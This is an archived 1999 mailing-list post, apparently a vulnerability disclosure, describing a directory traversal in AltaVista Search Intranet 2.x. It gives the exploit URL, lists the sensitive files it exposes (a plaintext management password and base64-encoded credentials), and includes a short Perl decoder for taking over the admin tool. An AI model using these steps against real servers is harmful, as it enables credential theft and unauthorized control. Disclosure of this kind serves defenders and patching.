AltaVista

From: rudi carell (rudicarellat_private)
Date: Wed Dec 29 1999 - 06:52:46 PST

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    good morning folks,
    
    
    ... "With AltaVista Search Software, you can create your own search and
    retrieval Web site with the same relevancy, performance, and efficiency of
    the powerful AltaVista Search engine (www.altavista.com) used to index the
    World Wide Web"  ...
    
    yes thats true .. but,
    
    if you take a closer look on its functionallity and file-scructure you will
    find some interesting things:
    
    
    the template-variable: {mss} in the main search function (cgi-bin/query?)
    allows you one traversal step back and
    shows you any file in the "http - directory".
    
    example: http://we.loverudi.org:9000/cgi-bin/query?../config
    
    if you try to go more then one directory back the program escapes {mss} with
    "@../" ...
    
    nice try .. but much to late .. the http directory contains some very
    interesting files:
    
    ../config               ( Var "MGMT_PW=[ Plaintext MGMT-password ]" )
    ../logs/mgtstate        ( passw=[ encoded mgt-password ]  .. NOT the
    MGMT-password !!!)
    ../logs/stats.log       ( sometimes stats_log )
    ../logs/access.log      ( sometimes access_log )
    
    forget everything but the "mgtstate" file .. it contains the
    username:password
    for the online-config tool ( http://we.loverudi.org:9000/cgi-bin/mgt ) in
    the form:
    
    passw=[ encoded user:password string ]
    
    pfft .. these guys are really smart .. the encode their passwords ... (
    base64 :)
    
    now we need a prg/script to decode the user/password - string
    
    ---cut here---
    
    #!/usr/bin/perl
    use MIME::Base64;
    print decode_base64("$ARGV[0]"), "\n";
    
    ---cut here---
    
    thank you ...
    
    then start(goto) the online config tool (
    http://we.loverudi.org:9000/cgi-bin/mgt )
    and do whatever you want ... aso aso aso
    
    have a nice Y2K-BUG
    
    rudicarellat_private
    
    
    other infos:
    
    vulnerable: altavista search intranet 2.??
    type: Input Validation Error
    object: query?
    remote: yes
    vendor: altavista .. got informed ~3 month ago)
    
    
    
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